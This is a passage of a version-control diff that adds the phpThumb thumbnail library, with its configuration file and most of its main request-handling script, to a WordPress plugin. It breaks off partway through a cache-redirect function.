+$PHPTHUMB_CONFIG['error_message_image_default'] = '';       // Set this to the name of a generic error image (e.g. '/images/error.png') that you want displayed in place of any error message that may occur. This setting is overridden by the 'err' parameter, which does the same thing.
+$PHPTHUMB_CONFIG['error_bgcolor']               = 'CCCCFF'; // background color of error message images
+$PHPTHUMB_CONFIG['error_textcolor']             = 'FF0000'; // color of text in error messages
+$PHPTHUMB_CONFIG['error_fontsize']              = 1;        // size of text in error messages, from 1 (smallest) to 5 (largest)
+$PHPTHUMB_CONFIG['error_die_on_error']          = true;     // die with error message on any fatal error (recommended with standalone phpThumb.php)
+$PHPTHUMB_CONFIG['error_silent_die_on_error']   = false;    // simply die with no output of any kind on fatal errors (not recommended)
+$PHPTHUMB_CONFIG['error_die_on_source_failure'] = true;     // die with error message if source image cannot be processed by phpThumb() (usually because source image is corrupt in some way). If false the source image will be passed through unprocessed, if true (default) an error message will be displayed.
+
+// * Off-server Thumbnailing Configuration:
+$PHPTHUMB_CONFIG['nohotlink_enabled']           = false;                                    // If false will allow thumbnailing from any source domain
+$PHPTHUMB_CONFIG['nohotlink_valid_domains']     = array(@$_SERVER['HTTP_HOST']);            // This is the list of domains for which thumbnails are allowed to be created. Note: domain only, do not include port numbers. The default value of the current domain should be fine in most cases, but if neccesary you can add more domains in here, in the format "www.example.com"
+$PHPTHUMB_CONFIG['nohotlink_erase_image']       = true;                                     // if true thumbnail is covered up with $PHPTHUMB_CONFIG['nohotlink_fill_color'] before text is applied, if false text is written over top of thumbnail
+$PHPTHUMB_CONFIG['nohotlink_text_message']      = 'Off-server thumbnailing is not allowed'; // text of error message
+
+// * Off-server Linking Configuration:
+$PHPTHUMB_CONFIG['nooffsitelink_enabled']       = true;                                       // If false will allow thumbnails to be linked to from any domain, if true only domains listed below in 'nooffsitelink_valid_domains' will be allowed.
+$PHPTHUMB_CONFIG['nooffsitelink_valid_domains'] = array(@$_SERVER['HTTP_HOST']);              // This is the list of domains for which thumbnails are allowed to be created. The default value of the current domain should be fine in most cases, but if neccesary you can add more domains in here, in the format 'www.example.com'
+$PHPTHUMB_CONFIG['nooffsitelink_require_refer'] = false;                                      // If false will allow standalone calls to phpThumb(). If true then only requests with a $_SERVER['HTTP_REFERER'] value in 'nooffsitelink_valid_domains' are allowed.
+$PHPTHUMB_CONFIG['nooffsitelink_erase_image']   = false;                                      // if true thumbnail is covered up with $PHPTHUMB_CONFIG['nohotlink_fill_color'] before text is applied, if false text is written over top of thumbnail
+$PHPTHUMB_CONFIG['nooffsitelink_watermark_src'] = '/demo/images/watermark.png';                // webroot-relative image to overlay on hotlinked images
+$PHPTHUMB_CONFIG['nooffsitelink_text_message']  = 'Image taken from '.@$_SERVER['HTTP_HOST']; // text of error message (used if [nooffsitelink_watermark_src] is not a valid image)
+
+
+// * Border & Background default colors
+$PHPTHUMB_CONFIG['border_hexcolor']     = '000000'; // Default border color - usual HTML-style hex color notation (overidden with 'bc' parameter)
+$PHPTHUMB_CONFIG['background_hexcolor'] = 'FFFFFF'; // Default background color when thumbnail aspect ratio does not match fixed-dimension box - usual HTML-style hex color notation (overridden with 'bg' parameter)
+
+// * Watermark configuration
+$PHPTHUMB_CONFIG['ttf_directory'] = dirname(__FILE__).'/fonts'; // Base directory for TTF font files
+//$PHPTHUMB_CONFIG['ttf_directory'] = 'c:/windows/fonts';
+
+
+// * MySQL configuration
+// You may want to pull data from a database rather than a physical file
+// If so, modify the $PHPTHUMB_CONFIG['mysql_query'] line to suit your database structure
+// Note: the data retrieved must be the actual binary data of the image, not a URL or filename
+
+$PHPTHUMB_CONFIG['mysql_query'] = '';
+//$PHPTHUMB_CONFIG['mysql_query'] = 'SELECT `picture` FROM `products` WHERE (`id` = \''.mysql_escape_string(@$_GET['id']).'\')';
+
+// These 4 values must be modified if $PHPTHUMB_CONFIG['mysql_query'] is not empty, but may be ignored if $PHPTHUMB_CONFIG['mysql_query'] is blank.
+$PHPTHUMB_CONFIG['mysql_hostname'] = 'localhost';
+$PHPTHUMB_CONFIG['mysql_username'] = '';
+$PHPTHUMB_CONFIG['mysql_password'] = '';
+$PHPTHUMB_CONFIG['mysql_database'] = '';
+
+
+// * Security configuration
+$PHPTHUMB_CONFIG['high_security_enabled']    = false;  // if enabled, requires 'high_security_password' set to at least 5 characters, and requires the use of phpThumbURL() function (at the bottom of phpThumb.config.php) to generate hashed URLs
+$PHPTHUMB_CONFIG['high_security_password']   = '';     // required if 'high_security_enabled' is true, must be at least 5 characters long
+$PHPTHUMB_CONFIG['disable_debug']            = false;  // prevent phpThumb from displaying any information about your system. If true, phpThumbDebug and error messages will be disabled
+$PHPTHUMB_CONFIG['allow_src_above_docroot']  = false;  // if true, allow src to be anywhere in filesystem; if false (default) only allow src within document_root
+$PHPTHUMB_CONFIG['allow_src_above_phpthumb'] = true;   // if true (default), allow src to be anywhere in filesystem; if false only allow src within sub-directory of phpThumb installation
+$PHPTHUMB_CONFIG['allow_parameter_file']     = false;  // if true, allow use of 'file' parameter; if false (default) the 'file' parameter is disabled/ignored
+$PHPTHUMB_CONFIG['allow_parameter_goto']     = false;  // if true, allow use of 'goto' parameter; if false (default) the 'goto' parameter is disabled/ignored
+
+
+// * HTTP UserAgent configuration
+//$PHPTHUMB_CONFIG['http_user_agent'] = '';                                                                                      // PHP default: none
+//$PHPTHUMB_CONFIG['http_user_agent'] = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)';                                    // Windows XP, Internet Explorer
+$PHPTHUMB_CONFIG['http_user_agent'] = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7'; // Windows XP, Firefox
+
+
+// * Compatability settings
+$PHPTHUMB_CONFIG['disable_pathinfo_parsing']        = false;  // if true, $_SERVER[PATH_INFO] is not parsed. May be needed on some server configurations to allow normal behavior.
+$PHPTHUMB_CONFIG['disable_imagecopyresampled']      = false;  // if true, ImageCopyResampled is replaced with ImageCopyResampleBicubic. May be needed for buggy versions of PHP-GD.
+$PHPTHUMB_CONFIG['disable_onlycreateable_passthru'] = true;   // if true, any image that can be parsed by GetImageSize() can be passed through; if false, only images that can be converted to GD by ImageCreateFrom(JPEG|GIF|PNG) functions are allowed
+
+
+// * HTTP remote file opening settings
+$PHPTHUMB_CONFIG['http_fopen_timeout']              = 10;   // timeout (in seconds) for fopen / curl / fsockopen
+$PHPTHUMB_CONFIG['http_follow_redirect']            = true; // if true (default), follow "302 Found" redirects to new URL; if false, return error message
+
+
+// * Speed optimizations configuration
+$PHPTHUMB_CONFIG['use_exif_thumbnail_for_speed'] = false; // If true, and EXIF thumbnail is available, and is larger or equal to output image dimensions, use EXIF thumbnail rather than actual source image for generating thumbnail. Benefit is only speed, avoiding resizing large image.
+$PHPTHUMB_CONFIG['allow_local_http_src']         = false; // If true, 'src' parameter can be "http://<thishostname>/path/image.ext" instead of just "/path/image.ext"; if false then display warning message to encourage more efficient local-filename calling.
+
+// END USER CONFIGURATION SECTION
+
+///////////////////////////////////////////////////////////////////////////////
+
+// START DEFAULT PARAMETERS SECTION
+// If any parameters are constant across ALL images, you can set them here
+
+$PHPTHUMB_DEFAULTS_GETSTRINGOVERRIDE = true;  // if true, any parameters in the URL will override the defaults set here; if false, any parameters set here cannot be overridden in the URL
+$PHPTHUMB_DEFAULTS_DISABLEGETPARAMS  = false; // if true, GETstring parameters will be ignored (except for 'src') and only below default parameters will be used; if false, both default and GETstring parameters will be used (depending on $PHPTHUMB_DEFAULTS_GETSTRINGOVERRIDE). Will be auto-set true if !empty($PHPTHUMB_CONFIG['cache_default_only_suffix'])
+
+//$PHPTHUMB_DEFAULTS['w']    = 200;
+//$PHPTHUMB_DEFAULTS['fltr'] = array('blur|10');
+$PHPTHUMB_DEFAULTS['q']    =  100;
+
+
+// END DEFAULT PARAMETERS SECTION
+
+
+
+///////////////////////////////////////////////////////////////////////////////
+// Function for generating hashed calls to phpThumb if 'high_security_enabled'
+// example:
+//   require_once($_SERVER['DOCUMENT_ROOT'].'/phpThumb/phpThumb.config.php');
+//   echo '<img src="'.phpThumbURL('src=/images/pic.jpg&w=50').'">';
+
+function phpThumbURL($ParameterString) {
+	global $PHPTHUMB_CONFIG;
+	return str_replace(@$PHPTHUMB_CONFIG['document_root'], '', dirname(__FILE__)).DIRECTORY_SEPARATOR.'phpThumb.php?'.$ParameterString.'&hash='.md5($ParameterString.@$PHPTHUMB_CONFIG['high_security_password']);
+}
+
+///////////////////////////////////////////////////////////////////////////////
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.php	(revision 44)
@@ -0,0 +1,613 @@
+<?php
+//////////////////////////////////////////////////////////////
+///  phpThumb() by James Heinrich <info@silisoftware.com>   //
+//        available at http://phpthumb.sourceforge.net     ///
+//////////////////////////////////////////////////////////////
+///                                                         //
+// See: phpthumb.changelog.txt for recent changes           //
+// See: phpthumb.readme.txt for usage instructions          //
+//                                                         ///
+//////////////////////////////////////////////////////////////
+
+error_reporting(E_ALL);
+ini_set('display_errors', '1');
+ini_set('magic_quotes_runtime', '0');
+if (@ini_get('magic_quotes_runtime')) {
+	die('"magic_quotes_runtime" is set in php.ini, cannot run phpThumb with this enabled');
+}
+$starttime = array_sum(explode(' ', microtime()));
+
+// this script relies on the superglobal arrays, fake it here for old PHP versions
+if (phpversion() < '4.1.0') {
+	$_SERVER = $HTTP_SERVER_VARS;
+	$_GET    = $HTTP_GET_VARS;
+}
+
+// instantiate a new phpThumb() object
+ob_start();
+if (!include_once(dirname(__FILE__).'/phpthumb.class.php')) {
+	ob_end_flush();
+	die('failed to include_once("'.realpath(dirname(__FILE__).'/phpthumb.class.php').'")');
+}
+ob_end_clean();
+
+$phpThumb = new phpThumb();
+$phpThumb->DebugTimingMessage('phpThumb.php start', __FILE__, __LINE__, $starttime);
+$phpThumb->SetParameter('config_error_die_on_error', true);
+
+if (!phpthumb_functions::FunctionIsDisabled('set_time_limit')) {
+	set_time_limit(60);  // shouldn't take nearly this long in most cases, but with many filters and/or a slow server...
+}
+
+// phpThumbDebug[0] used to be here, but may reveal too much
+// info when high_security_mode should be enabled (not set yet)
+
+if (file_exists(dirname(__FILE__).'/phpThumb.config.php')) {
+	ob_start();
+	if (include_once(dirname(__FILE__).'/phpThumb.config.php')) {
+		// great
+	} else {
+		ob_end_flush();
+		$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
+	}
+	ob_end_clean();
+} elseif (file_exists(dirname(__FILE__).'/phpThumb.config.php.default')) {
+	$phpThumb->ErrorImage('Please rename "phpThumb.config.php.default" to "phpThumb.config.php"');
+} else {
+	$phpThumb->ErrorImage('failed to include_once('.dirname(__FILE__).'/phpThumb.config.php) - realpath="'.realpath(dirname(__FILE__).'/phpThumb.config.php').'"');
+}
+
+if (!@$PHPTHUMB_CONFIG['disable_pathinfo_parsing'] && (empty($_GET) || isset($_GET['phpThumbDebug'])) && !empty($_SERVER['PATH_INFO'])) {
+	$_SERVER['PHP_SELF'] = str_replace($_SERVER['PATH_INFO'], '', @$_SERVER['PHP_SELF']);
+
+	$args = explode(';', substr($_SERVER['PATH_INFO'], 1));
+	$phpThumb->DebugMessage('PATH_INFO.$args set to ('.implode(')(', $args).')', __FILE__, __LINE__);
+	if (!empty($args)) {
+		$_GET['src'] = @$args[count($args) - 1];
+		$phpThumb->DebugMessage('PATH_INFO."src" = "'.$_GET['src'].'"', __FILE__, __LINE__);
+		if (eregi('^new\=([a-z0-9]+)', $_GET['src'], $matches)) {
+			unset($_GET['src']);
+			$_GET['new'] = $matches[1];
+		}
+	}
+	if (eregi('^([0-9]*)x?([0-9]*)$', @$args[count($args) - 2], $matches)) {
+		$_GET['w'] = $matches[1];
+		$_GET['h'] = $matches[2];
+		$phpThumb->DebugMessage('PATH_INFO."w"x"h" set to "'.$_GET['w'].'"x"'.$_GET['h'].'"', __FILE__, __LINE__);
+	}
+	for ($i = 0; $i < count($args) - 2; $i++) {
+		@list($key, $value) = explode('=', @$args[$i]);
+		if (substr($key, -2) == '[]') {
+			$array_key_name = substr($key, 0, -2);
+			$_GET[$array_key_name][] = $value;
+			$phpThumb->DebugMessage('PATH_INFO."'.$array_key_name.'[]" = "'.$value.'"', __FILE__, __LINE__);
+		} else {
+			$_GET[$key] = $value;
+			$phpThumb->DebugMessage('PATH_INFO."'.$key.'" = "'.$value.'"', __FILE__, __LINE__);
+		}
+	}
+}
+
+if (@$PHPTHUMB_CONFIG['high_security_enabled']) {
+	if (!@$_GET['hash']) {
+		$phpThumb->ErrorImage('ERROR: missing hash');
+	} elseif (strlen($PHPTHUMB_CONFIG['high_security_password']) < 5) {
+		$phpThumb->ErrorImage('ERROR: strlen($PHPTHUMB_CONFIG[high_security_password]) < 5');
+	} elseif ($_GET['hash'] != md5(str_replace('&hash='.$_GET['hash'], '', $_SERVER['QUERY_STRING']).$PHPTHUMB_CONFIG['high_security_password'])) {
+		$phpThumb->ErrorImage('ERROR: invalid hash');
+	}
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[0]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '0') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+// returned the fixed string if the evil "magic_quotes_gpc" setting is on
+if (get_magic_quotes_gpc()) {
+	// deprecated: 'err', 'file', 'goto',
+	$RequestVarsToStripSlashes = array('src', 'wmf', 'down');
+	foreach ($RequestVarsToStripSlashes as $key) {
+		if (isset($_GET[$key])) {
+			if (is_string($_GET[$key])) {
+				$_GET[$key] = stripslashes($_GET[$key]);
+			} else {
+				unset($_GET[$key]);
+			}
+		}
+	}
+}
+
+if (!@$_SERVER['PATH_INFO'] && !@$_SERVER['QUERY_STRING']) {
+	$phpThumb->ErrorImage('phpThumb() v'.$phpThumb->phpthumb_version.'<br><a href="http://phpthumb.sourceforge.net">http://phpthumb.sourceforge.net</a><br><br>ERROR: no parameters specified');
+}
+
+if (@$_GET['src'] && isset($_GET['md5s']) && empty($_GET['md5s'])) {
+	if (eregi('^(f|ht)tps?://', $_GET['src'])) {
+		if ($rawImageData = phpthumb_functions::SafeURLread($_GET['src'], $error, $phpThumb->config_http_fopen_timeout, $phpThumb->config_http_follow_redirect)) {
+			$md5s = md5($rawImageData);
+		}
+	} else {
+		$SourceFilename = $phpThumb->ResolveFilenameToAbsolute($_GET['src']);
+		if (is_readable($SourceFilename)) {
+			$md5s = phpthumb_functions::md5_file_safe($SourceFilename);
+		} else {
+			$phpThumb->ErrorImage('ERROR: "'.$SourceFilename.'" cannot be read');
+		}
+	}
+	if (@$_SERVER['HTTP_REFERER']) {
+		$phpThumb->ErrorImage('&md5s='.$md5s);
+	} else {
+		die('&md5s='.$md5s);
+	}
+}
+
+if (!empty($PHPTHUMB_CONFIG)) {
+	foreach ($PHPTHUMB_CONFIG as $key => $value) {
+		$keyname = 'config_'.$key;
+		$phpThumb->setParameter($keyname, $value);
+		if (!eregi('password|mysql', $key)) {
+			$phpThumb->DebugMessage('setParameter('.$keyname.', '.$phpThumb->phpThumbDebugVarDump($value).')', __FILE__, __LINE__);
+		}
+	}
+} else {
+	$phpThumb->DebugMessage('$PHPTHUMB_CONFIG is empty', __FILE__, __LINE__);
+}
+
+if (@$_GET['src'] && !@$PHPTHUMB_CONFIG['allow_local_http_src'] && eregi('^http://'.@$_SERVER['HTTP_HOST'].'(.+)', @$_GET['src'], $matches)) {
+	$phpThumb->ErrorImage('It is MUCH better to specify the "src" parameter as "'.$matches[1].'" instead of "'.$matches[0].'".'."\n\n".'If you really must do it this way, enable "allow_local_http_src" in phpThumb.config.php');
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[1]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '1') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+$parsed_url_referer = phpthumb_functions::ParseURLbetter(@$_SERVER['HTTP_REFERER']);
+if ($phpThumb->config_nooffsitelink_require_refer && !in_array(@$parsed_url_referer['host'], $phpThumb->config_nohotlink_valid_domains)) {
+	$phpThumb->ErrorImage('config_nooffsitelink_require_refer enabled and '.(@$parsed_url_referer['host'] ? '"'.$parsed_url_referer['host'].'" is not an allowed referer' : 'no HTTP_REFERER exists'));
+}
+$parsed_url_src = phpthumb_functions::ParseURLbetter(@$_GET['src']);
+if ($phpThumb->config_nohotlink_enabled && $phpThumb->config_nohotlink_erase_image && eregi('^(f|ht)tps?://', @$_GET['src']) && !in_array(@$parsed_url_src['host'], $phpThumb->config_nohotlink_valid_domains)) {
+	$phpThumb->ErrorImage($phpThumb->config_nohotlink_text_message);
+}
+
+if ($phpThumb->config_mysql_query) {
+	if ($cid = @mysql_connect($phpThumb->config_mysql_hostname, $phpThumb->config_mysql_username, $phpThumb->config_mysql_password)) {
+		if (@mysql_select_db($phpThumb->config_mysql_database, $cid)) {
+			if ($result = @mysql_query($phpThumb->config_mysql_query, $cid)) {
+				if ($row = @mysql_fetch_array($result)) {
+
+					mysql_free_result($result);
+					mysql_close($cid);
+					$phpThumb->setSourceData($row[0]);
+					unset($row);
+
+				} else {
+					mysql_free_result($result);
+					mysql_close($cid);
+					$phpThumb->ErrorImage('no matching data in database.');
+				}
+			} else {
+				mysql_close($cid);
+				$phpThumb->ErrorImage('Error in MySQL query: "'.mysql_error($cid).'"');
+			}
+		} else {
+			mysql_close($cid);
+			$phpThumb->ErrorImage('cannot select MySQL database: "'.mysql_error($cid).'"');
+		}
+	} else {
+		$phpThumb->ErrorImage('cannot connect to MySQL server');
+	}
+	unset($_GET['id']);
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[2]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '2') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+$PHPTHUMB_DEFAULTS_DISABLEGETPARAMS = (bool) (@$PHPTHUMB_CONFIG['cache_default_only_suffix'] && (strpos($PHPTHUMB_CONFIG['cache_default_only_suffix'], '*') !== false));
+
+if (!empty($PHPTHUMB_DEFAULTS) && is_array($PHPTHUMB_DEFAULTS)) {
+	$phpThumb->DebugMessage('setting $PHPTHUMB_DEFAULTS['.implode(';', array_keys($PHPTHUMB_DEFAULTS)).']', __FILE__, __LINE__);
+	foreach ($PHPTHUMB_DEFAULTS as $key => $value) {
+		if ($PHPTHUMB_DEFAULTS_GETSTRINGOVERRIDE || !isset($_GET[$key])) {
+			$_GET[$key] = $value;
+			$phpThumb->DebugMessage('PHPTHUMB_DEFAULTS assigning ('.$value.') to $_GET['.$key.']', __FILE__, __LINE__);
+		}
+	}
+}
+
+// deprecated: 'err', 'file', 'goto',
+$allowedGETparameters = array('src', 'new', 'w', 'h', 'wp', 'hp', 'wl', 'hl', 'ws', 'hs', 'f', 'q', 'sx', 'sy', 'sw', 'sh', 'zc', 'bc', 'bg', 'bgt', 'fltr', 'xto', 'ra', 'ar', 'aoe', 'far', 'iar', 'maxb', 'down', 'phpThumbDebug', 'hash', 'md5s', 'sfn', 'dpi', 'sia', 'nocache');
+foreach ($_GET as $key => $value) {
+	if (@$PHPTHUMB_DEFAULTS_DISABLEGETPARAMS && ($key != 'src')) {
+		// disabled, do not set parameter
+		$phpThumb->DebugMessage('ignoring $_GET['.$key.'] because of $PHPTHUMB_DEFAULTS_DISABLEGETPARAMS', __FILE__, __LINE__);
+	} elseif (in_array($key, $allowedGETparameters)) {
+		$phpThumb->DebugMessage('setParameter('.$key.', '.$phpThumb->phpThumbDebugVarDump($value).')', __FILE__, __LINE__);
+		$phpThumb->setParameter($key, $value);
+	} else {
+		$phpThumb->ErrorImage('Forbidden parameter: '.$key);
+	}
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[3]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '3') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+//if (!@$_GET['phpThumbDebug'] && !is_file($phpThumb->sourceFilename) && !phpthumb_functions::gd_version()) {
+//	if (!headers_sent()) {
+//		// base64-encoded error image in GIF format
+//		$ERROR_NOGD = 'R0lGODlhIAAgALMAAAAAABQUFCQkJDY2NkZGRldXV2ZmZnJycoaGhpSUlKWlpbe3t8XFxdXV1eTk5P7+/iwAAAAAIAAgAAAE/vDJSau9WILtTAACUinDNijZtAHfCojS4W5H+qxD8xibIDE9h0OwWaRWDIljJSkUJYsN4bihMB8th3IToAKs1VtYM75cyV8sZ8vygtOE5yMKmGbO4jRdICQCjHdlZzwzNW4qZSQmKDaNjhUMBX4BBAlmMywFSRWEmAI6b5gAlhNxokGhooAIK5o/pi9vEw4Lfj4OLTAUpj6IabMtCwlSFw0DCKBoFqwAB04AjI54PyZ+yY3TD0ss2YcVmN/gvpcu4TOyFivWqYJlbAHPpOntvxNAACcmGHjZzAZqzSzcq5fNjxFmAFw9iFRunD1epU6tsIPmFCAJnWYE0FURk7wJDA0MTKpEzoWAAskiAAA7';
+//		header('Content-Type: image/gif');
+//		echo base64_decode($ERROR_NOGD);
+//	} else {
+//		echo '*** ERROR: No PHP-GD support available ***';
+//	}
+//	exit;
+//}
+
+// check to see if file can be output from source with no processing or caching
+$CanPassThroughDirectly = true;
+if ($phpThumb->rawImageData) {
+	// data from SQL, should be fine
+} elseif (eregi('^http\://.+\.(jpe?g|gif|png)$', $phpThumb->src)) {
+	// assume is ok to passthru if no other parameters specified
+} elseif (!@is_file($phpThumb->sourceFilename)) {
+	$phpThumb->DebugMessage('$CanPassThroughDirectly=false because !@is_file('.$phpThumb->sourceFilename.')', __FILE__, __LINE__);
+	$CanPassThroughDirectly = false;
+} elseif (!@is_readable($phpThumb->sourceFilename)) {
+	$phpThumb->DebugMessage('$CanPassThroughDirectly=false because !@is_readable('.$phpThumb->sourceFilename.')', __FILE__, __LINE__);
+	$CanPassThroughDirectly = false;
+}
+foreach ($_GET as $key => $value) {
+	switch ($key) {
+		case 'src':
+			// allowed
+			break;
+
+		case 'w':
+		case 'h':
+			// might be OK if exactly matches original
+			if (eregi('^http\://.+\.(jpe?g|gif|png)$', $phpThumb->src)) {
+				// assume it is not ok for direct-passthru of remote image
+				$CanPassThroughDirectly = false;
+			}
+			break;
+
+		case 'phpThumbDebug':
+			// handled in direct-passthru code
+			break;
+
+		default:
+			// all other parameters will cause some processing,
+			// therefore cannot pass through original image unmodified
+			$CanPassThroughDirectly = false;
+			$UnAllowedGET[] = $key;
+			break;
+	}
+}
+if (!empty($UnAllowedGET)) {
+	$phpThumb->DebugMessage('$CanPassThroughDirectly=false because $_GET['.implode(';', array_unique($UnAllowedGET)).'] are set', __FILE__, __LINE__);
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[4]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '4') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+function SendSaveAsFileHeaderIfNeeded() {
+	if (headers_sent()) {
+		return false;
+	}
+	global $phpThumb;
+	$downloadfilename = phpthumb_functions::SanitizeFilename(@$_GET['sia'] ? $_GET['sia'] : (@$_GET['down'] ? $_GET['down'] : 'phpThumb_generated_thumbnail'.(@$_GET['f'] ? $_GET['f'] : 'jpg')));
+	if (@$downloadfilename) {
+		$phpThumb->DebugMessage('SendSaveAsFileHeaderIfNeeded() sending header: Content-Disposition: '.(@$_GET['down'] ? 'attachment' : 'inline').'; filename="'.$downloadfilename.'"', __FILE__, __LINE__);
+		header('Content-Disposition: '.(@$_GET['down'] ? 'attachment' : 'inline').'; filename="'.$downloadfilename.'"');
+	}
+	return true;
+}
+
+$phpThumb->DebugMessage('$CanPassThroughDirectly="'.intval($CanPassThroughDirectly).'" && $phpThumb->src="'.$phpThumb->src.'"', __FILE__, __LINE__);
+while ($CanPassThroughDirectly && $phpThumb->src) {
+	// no parameters set, passthru
+
+	if (eregi('^http\://.+\.(jpe?g|gif|png)$', $phpThumb->src)) {
+		$phpThumb->DebugMessage('Passing HTTP source through directly as Location: redirect ('.$phpThumb->src.')', __FILE__, __LINE__);
+		header('Location: '.$phpThumb->src);
+		exit;
+	}
+
+	$SourceFilename = $phpThumb->ResolveFilenameToAbsolute($phpThumb->src);
+
+	// security and size checks
+	if ($phpThumb->getimagesizeinfo = @GetImageSize($SourceFilename)) {
+		$phpThumb->DebugMessage('Direct passthru GetImageSize() returned [w='.$phpThumb->getimagesizeinfo[0].';h='.$phpThumb->getimagesizeinfo[1].';t='.$phpThumb->getimagesizeinfo[2].']', __FILE__, __LINE__);
+
+		if (!@$_GET['w'] && !@$_GET['wp'] && !@$_GET['wl'] && !@$_GET['ws'] && !@$_GET['h'] && !@$_GET['hp'] && !@$_GET['hl'] && !@$_GET['hs']) {
+			// no resizing needed
+			$phpThumb->DebugMessage('Passing "'.$SourceFilename.'" through directly, no resizing required ("'.$phpThumb->getimagesizeinfo[0].'"x"'.$phpThumb->getimagesizeinfo[1].'")', __FILE__, __LINE__);
+		} elseif ((($phpThumb->getimagesizeinfo[0] <= @$_GET['w']) || ($phpThumb->getimagesizeinfo[1] <= @$_GET['h'])) && ((@$_GET['w'] == $phpThumb->getimagesizeinfo[0]) || (@$_GET['h'] == $phpThumb->getimagesizeinfo[1]))) {
+			// image fits into 'w'x'h' box, and at least one dimension matches exactly, therefore no resizing needed
+			$phpThumb->DebugMessage('Passing "'.$SourceFilename.'" through directly, no resizing required ("'.$phpThumb->getimagesizeinfo[0].'"x"'.$phpThumb->getimagesizeinfo[1].'" fits inside "'.@$_GET['w'].'"x"'.@$_GET['h'].'")', __FILE__, __LINE__);
+		} else {
+			$phpThumb->DebugMessage('Not passing "'.$SourceFilename.'" through directly because resizing required (from "'.$phpThumb->getimagesizeinfo[0].'"x"'.$phpThumb->getimagesizeinfo[1].'" to "'.@$_GET['w'].'"x"'.@$_GET['h'].'")', __FILE__, __LINE__);
+			break;
+		}
+		switch ($phpThumb->getimagesizeinfo[2]) {
+			case 1: // GIF
+			case 2: // JPG
+			case 3: // PNG
+				// great, let it through
+				break;
+			default:
+				// browser probably can't handle format, remangle it to JPEG/PNG/GIF
+				$phpThumb->DebugMessage('Not passing "'.$SourceFilename.'" through directly because $phpThumb->getimagesizeinfo[2] = "'.$phpThumb->getimagesizeinfo[2].'"', __FILE__, __LINE__);
+				break 2;
+		}
+
+		$ImageCreateFunctions = array(1=>'ImageCreateFromGIF', 2=>'ImageCreateFromJPEG', 3=>'ImageCreateFromPNG');
+		$theImageCreateFunction = @$ImageCreateFunctions[$phpThumb->getimagesizeinfo[2]];
+		if ($phpThumb->config_disable_onlycreateable_passthru || (function_exists($theImageCreateFunction) && ($dummyImage = @$theImageCreateFunction($SourceFilename)))) {
+
+			// great
+			if (@is_resource($dummyImage)) {
+				unset($dummyImage);
+			}
+
+			if (headers_sent()) {
+				$phpThumb->ErrorImage('Headers already sent ('.basename(__FILE__).' line '.__LINE__.')');
+				exit;
+			}
+			if (@$_GET['phpThumbDebug']) {
+				$phpThumb->DebugTimingMessage('skipped direct $SourceFilename passthru', __FILE__, __LINE__);
+				$phpThumb->DebugMessage('Would have passed "'.$SourceFilename.'" through directly, but skipping due to phpThumbDebug', __FILE__, __LINE__);
+				break;
+			}
+
+			SendSaveAsFileHeaderIfNeeded();
+			header('Last-Modified: '.gmdate('D, d M Y H:i:s', @filemtime($SourceFilename)).' GMT');
+			if ($contentType = phpthumb_functions::ImageTypeToMIMEtype(@$phpThumb->getimagesizeinfo[2])) {
+				header('Content-Type: '.$contentType);
+			}
+			@readfile($SourceFilename);
+			exit;
+
+		} else {
+			$phpThumb->DebugMessage('Not passing "'.$SourceFilename.'" through directly because ($phpThumb->config_disable_onlycreateable_passthru = "'.$phpThumb->config_disable_onlycreateable_passthru.'") and '.$theImageCreateFunction.'() failed', __FILE__, __LINE__);
+			break;
+		}
+
+	} else {
+		$phpThumb->DebugMessage('Not passing "'.$SourceFilename.'" through directly because GetImageSize() failed', __FILE__, __LINE__);
+		break;
+	}
+	break;
+}
+
+////////////////////////////////////////////////////////////////
+// Debug output, to try and help me diagnose problems
+$phpThumb->DebugTimingMessage('phpThumbDebug[5]', __FILE__, __LINE__);
+if (@$_GET['phpThumbDebug'] == '5') {
+	$phpThumb->phpThumbDebug();
+}
+////////////////////////////////////////////////////////////////
+
+function RedirectToCachedFile() {
+	global $phpThumb, $PHPTHUMB_CONFIG;
+
+	$nice_cachefile = str_replace(DIRECTORY_SEPARATOR, '/', $phpThumb->cache_filename);
+	$nice_docroot   = str_replace(DIRECTORY_SEPARATOR, '/', rtrim($PHPTHUMB_CONFIG['document_root'], '/\\'));
+
+	$parsed_url = phpthumb_functions::ParseURLbetter(@$_SERVER['HTTP_REFERER']);
+
+	$nModified  = filemtime($phpThumb->cache_filename);
+
+	if ($phpThumb->config_nooffsitelink_enabled && @$_SERVER['HTTP_REFERER'] && !in_array(@$parsed_url['host'], $phpThumb->config_nooffsitelink_valid_domains)) {
+
